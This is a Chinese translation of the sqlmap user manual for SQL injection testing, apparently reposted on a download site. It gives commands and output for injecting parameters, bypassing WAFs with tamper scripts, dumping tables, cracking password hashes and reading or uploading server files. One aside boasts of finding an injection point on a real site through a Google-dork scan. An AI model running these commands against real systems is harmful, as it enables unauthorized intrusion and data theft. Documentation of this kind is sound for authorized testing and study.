SqlMap用戶手冊
發(fā)表時間:2023-07-31 來源:明輝站整理相關(guān)軟件相關(guān)文章人氣:
[摘要]http://192.168.136.131/sqlmap/mysql/get_int.php?id=1當(dāng)給sqlmap這么一個url的時候,它會:1、判斷可注入的參數(shù)2、判斷可以用那種SQL注入技...
http://192.168.136.131/sqlmap/mysql/get_int.php?id=1
當(dāng)給sqlmap這么一個url的時候,它會:
1、判斷可注入的參數(shù)
2、判斷可以用那種SQL注入技術(shù)來注入
3、識別出哪種數(shù)據(jù)庫
4、根據(jù)用戶選擇,讀取哪些數(shù)據(jù)
sqlmap支持五種不同的注入模式:
1、基于布爾的盲注,即可以根據(jù)返回頁面判斷條件真假的注入。
2、基于時間的盲注,即不能根據(jù)頁面返回內(nèi)容判斷任何信息,用條件語句查看時間延遲語句是否執(zhí)行(即頁面返回時間是否增加)來判斷。
3、基于報錯注入,即頁面會返回錯誤信息,或者把注入的語句的結(jié)果直接返回在頁面中。
4、聯(lián)合查詢注入,可以使用union的情況下的注入。
5、堆查詢注入,可以同時執(zhí)行多條語句的執(zhí)行時的注入。
sqlmap支持的數(shù)據(jù)庫有:
MySQL, Oracle, PostgreSQL, Microsoft SQL Server, Microsoft Access, IBM DB2, SQLite, Firebird, Sybase和SAP MaxDB
可以提供一個簡單的URL,Burp或WebScarab請求日志文件,文本文檔中的完整http請求或者Google的搜索,匹配出結(jié)果頁面,也可以自己定義一個正則來判斷那個地址去測試。
測試GET參數(shù),POST參數(shù),HTTP Cookie參數(shù),HTTP User-Agent頭和HTTP Referer頭來確認(rèn)是否有SQL注入,它也可以指定用逗號分隔的列表的具體參數(shù)來測試。
可以設(shè)定HTTP(S)請求的并發(fā)數(shù),來提高盲注時的效率。
使用sqlmap的實例文章:
http://unconciousmind.blogspot.com/search/label/sqlmap
可以點擊https://github.com/sqlmapproject/sqlmap/tarball/master下載最新版本sqlmap。
也可以使用git來獲取sqlmap
git clone https://github.com/sqlmapproject/sqlmap.git sqlmap-dev
之后可以直接使用命令來更新
python sqlmap.py --update
或者
git pull
更新sqlmap
如果你想觀察sqlmap對一個點是進(jìn)行了怎樣的嘗試判斷以及讀取數(shù)據(jù)的,可以使用-v參數(shù)。
共有七個等級,默認(rèn)為1:
0、只顯示python錯誤以及嚴(yán)重的信息。
1、同時顯示基本信息和警告信息。(默認(rèn))
2、同時顯示debug信息。
3、同時顯示注入的payload。
4、同時顯示HTTP請求。
5、同時顯示HTTP響應(yīng)頭。
6、同時顯示HTTP響應(yīng)頁面。
如果你想看到sqlmap發(fā)送的測試payload最好的等級就是3。
獲取目標(biāo)方式
目標(biāo)URL
參數(shù):-u或者–url
格式:http(s)://targeturl[:port]/[…]
例如:python sqlmap.py -u "http://www.target.com/vuln.php?id=1" -f --banner --dbs --users
從Burp或者WebScarab代理中獲取日志
參數(shù):-l
可以直接吧Burp proxy或者WebScarab proxy中的日志直接倒出來交給sqlmap來一個一個檢測是否有注入。
從文本中獲取多個目標(biāo)掃描
參數(shù):-m
文件中保存url格式如下,sqlmap會一個一個檢測
www.target1.com/vuln1.php?q=foobar
www.target2.com/vuln2.asp?id=1
www.target3.com/vuln3/id/1*
從文件中加載HTTP請求
參數(shù):-r
sqlmap可以從一個文本文件中獲取HTTP請求,這樣就可以跳過設(shè)置一些其他參數(shù)(比如cookie,POST數(shù)據(jù),等等)。
比如文本文件內(nèi)如下:
POST /vuln.php HTTP/1.1
Host: www.target.com
User-Agent: Mozilla/4.0
id=1
當(dāng)請求是HTTPS的時候你需要配合這個–force-ssl參數(shù)來使用,或者你可以在Host頭后門加上:443
處理Google的搜索結(jié)果
參數(shù):-g
sqlmap可以測試注入Google的搜索結(jié)果中的GET參數(shù)(只獲取前100個結(jié)果)。
例子:
python sqlmap.py -g "inurl:".php?id=1""
(很牛B的功能,測試了一下,第十幾個就找到新浪的一個注入點)
此外可以使用-c參數(shù)加載sqlmap.conf文件里面的相關(guān)配置。
請求
http數(shù)據(jù)
參數(shù):–data
此參數(shù)是把數(shù)據(jù)以POST方式提交,sqlmap會像檢測GET參數(shù)一樣檢測POST的參數(shù)。
例子:
python sqlmap.py -u "http://www.target.com/vuln.php" --data="id=1" -f --banner --dbs --users
參數(shù)拆分字符
參數(shù):–param-del
當(dāng)GET或POST的數(shù)據(jù)需要用其他字符分割測試參數(shù)的時候需要用到此參數(shù)。
例子:
python sqlmap.py -u "http://www.target.com/vuln.php" --data="query=foobar;id=1" --param-del=";" -f --banner --dbs --users
HTTP cookie頭
參數(shù):–cookie,–load-cookies,–drop-set-cookie
這個參數(shù)在以下兩個方面很有用:
1、web應(yīng)用需要登陸的時候。
2、你想要在這些頭參數(shù)中測試SQL注入時。
可以通過抓包把cookie獲取到,復(fù)制出來,然后加到–cookie參數(shù)里。
在HTTP請求中,遇到Set-Cookie的話,sqlmap會自動獲取并且在以后的請求中加入,并且會嘗試SQL注入。
如果你不想接受Set-Cookie可以使用–drop-set-cookie參數(shù)來拒接。
當(dāng)你使用–cookie參數(shù)時,當(dāng)返回一個Set-Cookie頭的時候,sqlmap會詢問你用哪個cookie來繼續(xù)接下來的請求。當(dāng)–level的參數(shù)設(shè)定為2或者2以上的時候,sqlmap會嘗試注入Cookie參數(shù)。
HTTP User-Agent頭
參數(shù):–user-agent,–random-agent
默認(rèn)情況下sqlmap的HTTP請求頭中User-Agent值是:
sqlmap/1.0-dev-xxxxxxx (http://sqlmap.org)
可以使用–user-anget參數(shù)來修改,同時也可以使用–random-a.net參數(shù)來隨機(jī)的從./txt/user-agents.txt中獲取。
當(dāng)–level參數(shù)設(shè)定為3或者3以上的時候,會嘗試對User-Angent進(jìn)行注入。
HTTP Referer頭
參數(shù):–referer
sqlmap可以在請求中偽造HTTP中的referer,當(dāng)–level參數(shù)設(shè)定為3或者3以上的時候會嘗試對referer注入。
額外的HTTP頭
參數(shù):–headers
可以通過–headers參數(shù)來增加額外的http頭
HTTP認(rèn)證保護(hù)
參數(shù):–auth-type,–auth-cred
這些參數(shù)可以用來登陸HTTP的認(rèn)證保護(hù)支持三種方式:
1、Basic
2、Digest
3、NTLM
例子:
python sqlmap.py -u "http://192.168.136.131/sqlmap/mysql/basic/get_int.php?id=1" --auth-type Basic --auth-cred "testuser:testpass"
HTTP協(xié)議的證書認(rèn)證
參數(shù):–auth-cert
當(dāng)Web服務(wù)器需要客戶端證書進(jìn)行身份驗證時,需要提供兩個文件:key_file,cert_file。
key_file是格式為PEM文件,包含著你的私鑰,cert_file是格式為PEM的連接文件。
HTTP(S)代理
參數(shù):–proxy,–proxy-cred和–ignore-proxy
使用–proxy代理是格式為:http://url:port。
當(dāng)HTTP(S)代理需要認(rèn)證是可以使用–proxy-cred參數(shù):username:password。
–ignore-proxy拒絕使用本地局域網(wǎng)的HTTP(S)代理。
HTTP請求延遲
參數(shù):–delay
可以設(shè)定兩個HTTP(S)請求間的延遲,設(shè)定為0.5的時候是半秒,默認(rèn)是沒有延遲的。
設(shè)定超時時間
參數(shù):–timeout
可以設(shè)定一個HTTP(S)請求超過多久判定為超時,10.5表示10.5秒,默認(rèn)是30秒。
設(shè)定重試超時
參數(shù):–retries
當(dāng)HTTP(S)超時時,可以設(shè)定重新嘗試連接次數(shù),默認(rèn)是3次。
設(shè)定隨機(jī)改變的參數(shù)值
參數(shù):–randomize
可以設(shè)定某一個參數(shù)值在每一次請求中隨機(jī)的變化,長度和類型會與提供的初始值一樣。
利用正則過濾目標(biāo)網(wǎng)址
參數(shù):–scope
例如:
python sqlmap.py -l burp.log --scope="(www)?.target.(com net org)"
避免過多的錯誤請求被屏蔽
參數(shù):–safe-url,–safe-freq
有的web應(yīng)用程序會在你多次訪問錯誤的請求時屏蔽掉你以后的所有請求,這樣在sqlmap進(jìn)行探測或者注入的時候可能造成錯誤請求而觸發(fā)這個策略,導(dǎo)致以后無法進(jìn)行。
繞過這個策略有兩種方式:
1、--safe-url:提供一個安全不錯誤的連接,每隔一段時間都會去訪問一下。
2、--safe-freq:提供一個安全不錯誤的連接,每次測試請求之后都會再訪問一邊安全連接。
關(guān)掉URL參數(shù)值編碼
參數(shù):–skip-urlencode
根據(jù)參數(shù)位置,他的值默認(rèn)將會被URL編碼,但是有些時候后端的web服務(wù)器不遵守RFC標(biāo)準(zhǔn),只接受不經(jīng)過URL編碼的值,這時候就需要用–skip-urlencode參數(shù)。
每次請求時候執(zhí)行自定義的python代碼
參數(shù):–eval
在有些時候,需要根據(jù)某個參數(shù)的變化,而修改另個一參數(shù),才能形成正常的請求,這時可以用–eval參數(shù)在每次請求時根據(jù)所寫python代碼做完修改后請求。
例子:
python sqlmap.py -u "http://www.target.com/vuln.php?id=1&hash=c4ca4238a0b923820dcc509a6f75849b" --eval="import hashlib;hash=hashlib.md5(id).hexdigest()"
上面的請求就是每次請求時根據(jù)id參數(shù)值,做一次md5后作為hash參數(shù)的值。
注入
測試參數(shù)
參數(shù):-p,–skip
sqlmap默認(rèn)測試所有的GET和POST參數(shù),當(dāng)–level的值大于等于2的時候也會測試HTTP Cookie頭的值,當(dāng)大于等于3的時候也會測試User-Agent和HTTP Referer頭的值。但是你可以手動用-p參數(shù)設(shè)置想要測試的參數(shù)。例如: -p “id,user-anget”
當(dāng)你使用–level的值很大但是有個別參數(shù)不想測試的時候可以使用–skip參數(shù)。
例如:–skip=”user-angent.referer”
在有些時候web服務(wù)器使用了URL重寫,導(dǎo)致無法直接使用sqlmap測試參數(shù),可以在想測試的參數(shù)后面加*
例如:
python sqlmap.py -u "http://targeturl/param1/value1*/param2/value2/"
sqlmap將會測試value1的位置是否可注入。
指定數(shù)據(jù)庫
參數(shù):–dbms
默認(rèn)情況系sqlmap會自動的探測web應(yīng)用后端的數(shù)據(jù)庫是什么,sqlmap支持的數(shù)據(jù)庫有:
MySQL、Oracle、PostgreSQL、Microsoft SQL Server、Microsoft Access、SQLite、Firebird、Sybase、SAP MaxDB、DB2
指定數(shù)據(jù)庫服務(wù)器系統(tǒng)
參數(shù):–os
默認(rèn)情況下sqlmap會自動的探測數(shù)據(jù)庫服務(wù)器系統(tǒng),支持的系統(tǒng)有:Linux、Windows。
指定無效的大數(shù)字
參數(shù):–invalid-bignum
當(dāng)你想指定一個報錯的數(shù)值時,可以使用這個參數(shù),例如默認(rèn)情況系id=13,sqlmap會變成id=-13來報錯,你可以指定比如id=9999999來報錯。
指定無效的邏輯
參數(shù):–invalid-logical
原因同上,可以指定id=13把原來的id=-13的報錯改成id=13 AND 18=19。
注入payload
參數(shù):–prefix,–suffix
在有些環(huán)境中,需要在注入的payload的前面或者后面加一些字符,來保證payload的正常執(zhí)行。
例如,代碼中是這樣調(diào)用數(shù)據(jù)庫的:
$query = "SELECT * FROM users WHERE id=(’" . $_GET[’id’] . "’) LIMIT 0, 1";
這時你就需要–prefix和–suffix參數(shù)了:
python sqlmap.py -u "http://192.168.136.131/sqlmap/mysql/get_str_brackets.php?id=1" -p id --prefix "’)" --suffix "AND (’abc’=’abc"
這樣執(zhí)行的SQL語句變成:
$query = "SELECT * FROM users WHERE id=(’1’) <PAYLOAD> AND (’abc’=’abc’) LIMIT 0, 1";
修改注入的數(shù)據(jù)
參數(shù):–tamper
sqlmap除了使用CHAR()函數(shù)來防止出現(xiàn)單引號之外沒有對注入的數(shù)據(jù)修改,你可以使用–tamper參數(shù)對數(shù)據(jù)做修改來繞過WAF等設(shè)備。
下面是一個tamper腳本的格式:
# Needed imports
from lib.core.enums import PRIORITY
# Define which is the order of application of tamper scripts against
# the payload
__priority__ = PRIORITY.NORMAL
def tamper(payload):
'''
Description of your tamper script
'''
retVal = payload
# your code to tamper the original payload
# return the tampered payload
return retVal
可以查看 tamper/ 目錄下的有哪些可用的腳本
例如:
$ python sqlmap.py -u "http://192.168.136.131/sqlmap/mysql/get_int.php?id=1" --tamper tamper/between.py,tamper/randomcase.py,tamper/space2comment.py -v 3
[hh:mm:03] [DEBUG] cleaning up configuration parameters
[hh:mm:03] [INFO] loading tamper script 'between'
[hh:mm:03] [INFO] loading tamper script 'randomcase'
[hh:mm:03] [INFO] loading tamper script 'space2comment'
[...]
[hh:mm:04] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause'
[hh:mm:04] [PAYLOAD] 1)/**/And/**/1369=7706/**/And/**/(4092=4092
[hh:mm:04] [PAYLOAD] 1)/**/AND/**/9267=9267/**/AND/**/(4057=4057
[hh:mm:04] [PAYLOAD] 1/**/AnD/**/950=7041
[...]
[hh:mm:04] [INFO] testing 'MySQL >= 5.0 AND error-based - WHERE or HAVING clause'
[hh:mm:04] [PAYLOAD] 1/**/anD/**/(SELeCt/**/9921/**/fROm(SELeCt/**/counT(*),CONCAT(cHar(
58,117,113,107,58),(SELeCt/**/(case/**/whEN/**/(9921=9921)/**/THeN/**/1/**/elsE/**/0/**/
ENd)),cHar(58,106,104,104,58),FLOOR(RanD(0)*2))x/**/fROm/**/information_schema.tables/**/
group/**/bY/**/x)a)
[hh:mm:04] [INFO] GET parameter 'id' is 'MySQL >= 5.0 AND error-based - WHERE or HAVING
clause' injectable
[...]
探測
探測等級
參數(shù):–level
共有五個等級,默認(rèn)為1,sqlmap使用的payload可以在xml/payloads.xml中看到,你也可以根據(jù)相應(yīng)的格式添加自己的payload。
這個參數(shù)不僅影響使用哪些payload同時也會影響測試的注入點,GET和POST的數(shù)據(jù)都會測試,HTTP Cookie在level為2的時候就會測試,HTTP User-Agent/Referer頭在level為3的時候就會測試。
總之在你不確定哪個payload或者參數(shù)為注入點的時候,為了保證全面性,建議使用高的level值。
風(fēng)險等級
參數(shù):–risk
共有四個風(fēng)險等級,默認(rèn)是1會測試大部分的測試語句,2會增加基于事件的測試語句,3會增加OR語句的SQL注入測試。
在有些時候,例如在UPDATE的語句中,注入一個OR的測試語句,可能導(dǎo)致更新的整個表,可能造成很大的風(fēng)險。
測試的語句同樣可以在xml/payloads.xml中找到,你也可以自行添加payload。
頁面比較
參數(shù):–string,–not-string,–regexp,–code
默認(rèn)情況下sqlmap通過判斷返回頁面的不同來判斷真假,但有時候這會產(chǎn)生誤差,因為有的頁面在每次刷新的時候都會返回不同的代碼,比如頁面當(dāng)中包含一個動態(tài)的廣告或者其他內(nèi)容,這會導(dǎo)致sqlmap的誤判。此時用戶可以提供一個字符串或者一段正則匹配,在原始頁面與真條件下的頁面都存在的字符串,而錯誤頁面中不存在(使用–string參數(shù)添加字符串,–regexp添加正則),同時用戶可以提供一段字符串在原始頁面與真條件下的頁面都不存在的字符串,而錯誤頁面中存在的字符串(–not-string添加)。用戶也可以提供真與假條件返回的HTTP狀態(tài)碼不一樣來注入,例如,響應(yīng)200的時候為真,響應(yīng)401的時候為假,可以添加參數(shù)–code=200。
參數(shù):–text-only,–titles
有些時候用戶知道真條件下的返回頁面與假條件下返回頁面的不同位置在哪里可以使用–text-only(HTTP響應(yīng)體中不同)–titles(HTML的title標(biāo)簽中不同)。
注入技術(shù)
測試是否是注入
參數(shù):–technique
這個參數(shù)可以指定sqlmap使用的探測技術(shù),默認(rèn)情況下會測試所有的方式。
支持的探測方式如下:
B: Boolean-based blind SQL injection(布爾型注入)
E: Error-based SQL injection(報錯型注入)
U: UNION query SQL injection(可聯(lián)合查詢注入)
S: Stacked queries SQL injection(可多語句查詢注入)
T: Time-based blind SQL injection(基于時間延遲注入)
設(shè)定延遲注入的時間
參數(shù):–time-sec
當(dāng)使用繼續(xù)時間的盲注時,時刻使用–time-sec參數(shù)設(shè)定延時時間,默認(rèn)是5秒。
設(shè)定UNION查詢字段數(shù)
參數(shù):–union-cols
默認(rèn)情況下sqlmap測試UNION查詢注入會測試1-10個字段數(shù),當(dāng)–level為5的時候他會增加測試到50個字段數(shù)。設(shè)定–union-cols的值應(yīng)該是一段整數(shù),如:12-16,是測試12-16個字段數(shù)。
設(shè)定UNION查詢使用的字符
參數(shù):–union-char
默認(rèn)情況下sqlmap針對UNION查詢的注入會使用NULL字符,但是有些情況下會造成頁面返回失敗,而一個隨機(jī)整數(shù)是成功的,這是你可以用–union-char指定UNION查詢的字符。
二階SQL注入
參數(shù):–second-order
有些時候注入點輸入的數(shù)據(jù)看返回結(jié)果的時候并不是當(dāng)前的頁面,而是另外的一個頁面,這時候就需要你指定到哪個頁面獲取響應(yīng)判斷真假。–second-order后門跟一個判斷頁面的URL地址。
列數(shù)據(jù)
標(biāo)志
參數(shù):-b,–banner
大多數(shù)的數(shù)據(jù)庫系統(tǒng)都有一個函數(shù)可以返回數(shù)據(jù)庫的版本號,通常這個函數(shù)是version()或者變量@@version這主要取決與是什么數(shù)據(jù)庫。
用戶
參數(shù):–current-user
在大多數(shù)據(jù)庫中可以獲取到管理數(shù)據(jù)的用戶。
當(dāng)前數(shù)據(jù)庫
參數(shù):–current-db
返還當(dāng)前連接的數(shù)據(jù)庫。
當(dāng)前用戶是否為管理用
參數(shù):–is-dba
判斷當(dāng)前的用戶是否為管理,是的話會返回True。
列數(shù)據(jù)庫管理用戶
參數(shù):–users
當(dāng)前用戶有權(quán)限讀取包含所有用戶的表的權(quán)限時,就可以列出所有管理用戶。
列出并破解數(shù)據(jù)庫用戶的hash
參數(shù):–passwords
當(dāng)前用戶有權(quán)限讀取包含用戶密碼的表的權(quán)限時,sqlmap會現(xiàn)列舉出用戶,然后列出hash,并嘗試破解。
例子:
$ python sqlmap.py -u "http://192.168.136.131/sqlmap/pgsql/get_int.php?id=1" --passwords -v 1
[...]
back-end DBMS: PostgreSQL
[hh:mm:38] [INFO] fetching database users password hashes
do you want to use dictionary attack on retrieved password hashes? [Y/n/q] y
[hh:mm:42] [INFO] using hash method: 'postgres_passwd'
what's the dictionary's location? [/software/sqlmap/txt/wordlist.txt]
[hh:mm:46] [INFO] loading dictionary from: '/software/sqlmap/txt/wordlist.txt'
do you want to use common password suffixes? (slow!) [y/N] n
[hh:mm:48] [INFO] starting dictionary attack (postgres_passwd)
[hh:mm:49] [INFO] found: 'testpass' for user: 'testuser'
[hh:mm:50] [INFO] found: 'testpass' for user: 'postgres'
database management system users password hashes:
[*] postgres [1]:
password hash: md5d7d880f96044b72d0bba108ace96d1e4
clear-text password: testpass
[*] testuser [1]:
password hash: md599e5ea7a6f7c3269995cba3927fd0093
clear-text password: testpass
可以看到sqlmap不僅勒出數(shù)據(jù)庫的用戶跟密碼,同時也識別出是PostgreSQL數(shù)據(jù)庫,并詢問用戶是否采用字典爆破的方式進(jìn)行破解,這個爆破已經(jīng)支持Oracle和Microsoft SQL Server。
也可以提供-U參數(shù)來指定爆破哪個用戶的hash。
列出數(shù)據(jù)庫管理員權(quán)限
參數(shù):–privileges
當(dāng)前用戶有權(quán)限讀取包含所有用戶的表的權(quán)限時,很可能列舉出每個用戶的權(quán)限,sqlmap將會告訴你哪個是數(shù)據(jù)庫的超級管理員。也可以用-U參數(shù)指定你想看哪個用戶的權(quán)限。
列出數(shù)據(jù)庫管理員角色
參數(shù):–roles
當(dāng)前用戶有權(quán)限讀取包含所有用戶的表的權(quán)限時,很可能列舉出每個用戶的角色,也可以用-U參數(shù)指定你想看哪個用戶的角色。
僅適用于當(dāng)前數(shù)據(jù)庫是Oracle的時候。
列出數(shù)據(jù)庫系統(tǒng)的數(shù)據(jù)庫
參數(shù):–dbs
當(dāng)前用戶有權(quán)限讀取包含所有數(shù)據(jù)庫列表信息的表中的時候,即可列出所有的數(shù)據(jù)庫。
列舉數(shù)據(jù)庫表
參數(shù):–tables,–exclude-sysdbs,-D
當(dāng)前用戶有權(quán)限讀取包含所有數(shù)據(jù)庫表信息的表中的時候,即可列出一個特定數(shù)據(jù)的所有表。
如果你不提供-D參數(shù)來列指定的一個數(shù)據(jù)的時候,sqlmap會列出數(shù)據(jù)庫所有庫的所有表。
–exclude-sysdbs參數(shù)是指排除了所有的系統(tǒng)數(shù)據(jù)庫。
需要注意的是在Oracle中你需要提供的是TABLESPACE_NAME而不是數(shù)據(jù)庫名稱。
列舉數(shù)據(jù)庫表中的字段
參數(shù):–columns,-C,-T,-D
當(dāng)前用戶有權(quán)限讀取包含所有數(shù)據(jù)庫表信息的表中的時候,即可列出指定數(shù)據(jù)庫表中的字段,同時也會列出字段的數(shù)據(jù)類型。
如果沒有使用-D參數(shù)指定數(shù)據(jù)庫時,默認(rèn)會使用當(dāng)前數(shù)據(jù)庫。
列舉一個SQLite的例子:
$ python sqlmap.py -u "http://192.168.136.131/sqlmap/sqlite/get_int.php?id=1" --columns -D testdb -T users -C name
[...]
Database: SQLite_masterdb
Table: users
[3 columns]
+---------+---------+
Column Type
+---------+---------+
id INTEGER
name TEXT
surname TEXT
+---------+---------+
列舉數(shù)據(jù)庫系統(tǒng)的架構(gòu)
參數(shù):–schema,–exclude-sysdbs
用戶可以用此參數(shù)獲取數(shù)據(jù)庫的架構(gòu),包含所有的數(shù)據(jù)庫,表和字段,以及各自的類型。
加上–exclude-sysdbs參數(shù),將不會獲取數(shù)據(jù)庫自帶的系統(tǒng)庫內(nèi)容。
MySQL例子:
$ python sqlmap.py -u "http://192.168.48.130/sqlmap/mysql/get_int.php?id=1" --schema --batch --exclude-sysdbs
[...]
Database: owasp10
Table: accounts
[4 columns]
+-------------+---------+
Column Type
+-------------+---------+
cid int(11)
mysignature text
password text
username text
+-------------+---------+
Database: owasp10
Table: blogs_table
[4 columns]
+--------------+----------+
Column Type
+--------------+----------+
date datetime
blogger_name text
cid int(11)
comment text
+--------------+----------+
Database: owasp10
Table: hitlog
[6 columns]
+----------+----------+
Column Type
+----------+----------+
date datetime
browser text
cid int(11)
hostname text
ip text
referer text
+----------+----------+
Database: testdb
Table: users
[3 columns]
+---------+---------------+
Column Type
+---------+---------------+
id int(11)
name varchar(500)
surname varchar(1000)
+---------+---------------+
[...]
獲取表中數(shù)據(jù)個數(shù)
參數(shù):–count
有時候用戶只想獲取表中的數(shù)據(jù)個數(shù)而不是具體的內(nèi)容,那么就可以使用這個參數(shù)。
列舉一個Microsoft SQL Server例子:
$ python sqlmap.py -u "http://192.168.21.129/sqlmap/mssql/iis/get_int.asp?id=1" --count -D testdb
[...]
Database: testdb
+----------------+---------+
Table Entries
+----------------+---------+
dbo.users 4
dbo.users_blob 2
+----------------+---------+
獲取整個表的數(shù)據(jù)
參數(shù):–dump,-C,-T,-D,–start,–stop,–first,–last
如果當(dāng)前管理員有權(quán)限讀取數(shù)據(jù)庫其中的一個表的話,那么就能獲取這個表的所有內(nèi)容。
使用-D,-T參數(shù)指定想要獲取哪個庫的哪個表,不適用-D參數(shù)時,默認(rèn)使用當(dāng)前庫。
列舉一個Firebird的例子:
$ python sqlmap.py -u "http://192.168.136.131/sqlmap/firebird/get_int.php?id=1" --dump -T users
[...]
Database: Firebird_masterdb
Table: USERS
[4 entries]
+----+--------+------------+
ID NAME SURNAME
+----+--------+------------+
1 luther blisset
2 fluffy bunny
3 wu ming
4 NULL nameisnull
+----+--------+------------+
可以獲取指定庫中的所有表的內(nèi)容,只用-dump跟-D參數(shù)(不使用-T與-C參數(shù))。
也可以用-dump跟-C獲取指定的字段內(nèi)容。
sqlmap為每個表生成了一個CSV文件。
如果你只想獲取一段數(shù)據(jù),可以使用–start和–stop參數(shù),例如,你只想獲取第一段數(shù)據(jù)可以使用–stop 1,如果想獲取第二段與第三段數(shù)據(jù),使用參數(shù) –start 1 –stop 3。
也可以用–first與–last參數(shù),獲取第幾個字符到第幾個字符的內(nèi)容,如果你想獲取字段中第三個字符到第五個字符的內(nèi)容,使用–first 3 –last 5,只在盲注的時候使用,因為其他方式可以準(zhǔn)確的獲取注入內(nèi)容,不需要一個字符一個字符的猜解。
獲取所有數(shù)據(jù)庫表的內(nèi)容
參數(shù):–dump-all,–exclude-sysdbs
使用–dump-all參數(shù)獲取所有數(shù)據(jù)庫表的內(nèi)容,可同時加上–exclude-sysdbs只獲取用戶數(shù)據(jù)庫的表,需要注意在Microsoft SQL Server中master數(shù)據(jù)庫沒有考慮成為一個系統(tǒng)數(shù)據(jù)庫,因為有的管理員會把他當(dāng)初用戶數(shù)據(jù)庫一樣來使用它。
搜索字段,表,數(shù)據(jù)庫
參數(shù):–search,-C,-T,-D
–search可以用來尋找特定的數(shù)據(jù)庫名,所有數(shù)據(jù)庫中的特定表名,所有數(shù)據(jù)庫表中的特定字段。
可以在一下三種情況下使用:
-C后跟著用逗號分割的列名,將會在所有數(shù)據(jù)庫表中搜索指定的列名。
-T后跟著用逗號分割的表名,將會在所有數(shù)據(jù)庫中搜索指定的表名
-D后跟著用逗號分割的庫名,將會在所有數(shù)據(jù)庫中搜索指定的庫名。
運行自定義的SQL語句
參數(shù):–sql-query,–sql-shell
sqlmap會自動檢測確定使用哪種SQL注入技術(shù),如何插入檢索語句。
如果是SELECT查詢語句,sqlmap將會輸出結(jié)果。如果是通過SQL注入執(zhí)行其他語句,需要測試是否支持多語句執(zhí)行SQL語句。
列舉一個Mircrosoft SQL Server 2000的例子:
$ python sqlmap.py -u "http://192.168.136.131/sqlmap/mssql/get_int.php?id=1" --sql-query "SELECT 'foo'" -v 1
[...]
[hh:mm:14] [INFO] fetching SQL SELECT query output: 'SELECT 'foo''
[hh:mm:14] [INFO] retrieved: foo
SELECT 'foo': 'foo'
$ python sqlmap.py -u "http://192.168.136.131/sqlmap/mssql/get_int.php?id=1" --sql-query "SELECT 'foo', 'bar'" -v 2
[...]
[hh:mm:50] [INFO] fetching SQL SELECT query output: 'SELECT 'foo', 'bar''
[hh:mm:50] [INFO] the SQL query provided has more than a field. sqlmap will now unpack it into
distinct queries to be able to retrieve the output even if we are going blind
[hh:mm:50] [DEBUG] query: SELECT ISNULL(CAST((CHAR(102)+CHAR(111)+CHAR(111)) AS VARCHAR(8000)),
(CHAR(32)))
[hh:mm:50] [INFO] retrieved: foo
[hh:mm:50] [DEBUG] performed 27 queries in 0 seconds
[hh:mm:50] [DEBUG] query: SELECT ISNULL(CAST((CHAR(98)+CHAR(97)+CHAR(114)) AS VARCHAR(8000)),
(CHAR(32)))
[hh:mm:50] [INFO] retrieved: bar
[hh:mm:50] [DEBUG] performed 27 queries in 0 seconds
SELECT 'foo', 'bar': 'foo, bar'
爆破
暴力破解表名
參數(shù):–common-tables
當(dāng)使用–tables無法獲取到數(shù)據(jù)庫的表時,可以使用此參數(shù)。
通常是如下情況:
1、MySQL數(shù)據(jù)庫版本小于5.0,沒有information_schema表。
2、數(shù)據(jù)庫是Microssoft Access,系統(tǒng)表MSysObjects是不可讀的(默認(rèn))。
3、當(dāng)前用戶沒有權(quán)限讀取系統(tǒng)中保存數(shù)據(jù)結(jié)構(gòu)的表的權(quán)限。
暴力破解的表在txt/common-tables.txt文件中,你可以自己添加。
列舉一個MySQL 4.1的例子:
$ python sqlmap.py -u "http://192.168.136.129/mysql/get_int_4.php?id=1" --common-tables -D testdb --banner
[...]
[hh:mm:39] [INFO] testing MySQL
[hh:mm:39] [INFO] confirming MySQL
[hh:mm:40] [INFO] the back-end DBMS is MySQL
[hh:mm:40] [INFO] fetching banner
web server operating system: Windows
web application technology: PHP 5.3.1, Apache 2.2.14
back-end DBMS operating system: Windows
back-end DBMS: MySQL < 5.0.0
banner: '4.1.21-community-nt'
[hh:mm:40] [INFO] checking table existence using items from '/software/sqlmap/txt/common-tables.txt'
[hh:mm:40] [INFO] adding words used on web page to the check list
please enter number of threads? [Enter for 1 (current)] 8
[hh:mm:43] [INFO] retrieved: users
Database: testdb
[1 table]
+-------+
users
+-------+
暴力破解列名
參數(shù):–common-columns
與暴力破解表名一樣,暴力跑的列名在txt/common-columns.txt中。
用戶自定義函數(shù)注入
參數(shù):–udf-inject,–shared-lib
你可以通過編譯MySQL注入你自定義的函數(shù)(UDFs)或PostgreSQL在windows中共享庫,DLL,或者Linux/Unix中共享對象,sqlmap將會問你一些問題,上傳到服務(wù)器數(shù)據(jù)庫自定義函數(shù),然后根據(jù)你的選擇執(zhí)行他們,當(dāng)你注入完成后,sqlmap將會移除它們。
系統(tǒng)文件操作
從數(shù)據(jù)庫服務(wù)器中讀取文件
參數(shù):–file-read
當(dāng)數(shù)據(jù)庫為MySQL,PostgreSQL或Microsoft SQL Server,并且當(dāng)前用戶有權(quán)限使用特定的函數(shù)。讀取的文件可以是文本也可以是二進(jìn)制文件。
列舉一個Microsoft SQL Server 2005的例子:
$ python sqlmap.py -u "http://192.168.136.129/sqlmap/mssql/iis/get_str2.asp?name=luther"
--file-read "C:/example.exe" -v 1
[...]
[hh:mm:49] [INFO] the back-end DBMS is Microsoft SQL Server
web server operating system: Windows 2000
web application technology: ASP.NET, Microsoft IIS 6.0, ASP
back-end DBMS: Microsoft SQL Server 2005
[hh:mm:50] [INFO] fetching file: 'C:/example.exe'
[hh:mm:50] [INFO] the SQL query provided returns 3 entries
C:/example.exe file saved to: '/software/sqlmap/output/192.168.136.129/files/C__example.exe'
[...]
$ ls -l output/192.168.136.129/files/C__example.exe
-rw-r--r-- 1 inquis inquis 2560 2011-MM-DD hh:mm output/192.168.136.129/files/C__example.exe
$ file output/192.168.136.129/files/C__example.exe
output/192.168.136.129/files/C__example.exe: PE32 executable for MS Windows (GUI) Intel
80386 32-bit
把文件上傳到數(shù)據(jù)庫服務(wù)器中
參數(shù):–file-write,–file-dest
當(dāng)數(shù)據(jù)庫為MySQL,PostgreSQL或Microsoft SQL Server,并且當(dāng)前用戶有權(quán)限使用特定的函數(shù)。上傳的文件可以是文本也可以是二進(jìn)制文件。
列舉一個MySQL的例子:
$ file /software/nc.exe.packed
/software/nc.exe.packed: PE32 executable for MS Windows (console) Intel 80386 32-bit
$ ls -l /software/nc.exe.packed
-rwxr-xr-x 1 inquis inquis 31744 2009-MM-DD hh:mm /software/nc.exe.packed
$ python sqlmap.py -u "http://192.168.136.129/sqlmap/mysql/get_int.aspx?id=1" --file-write
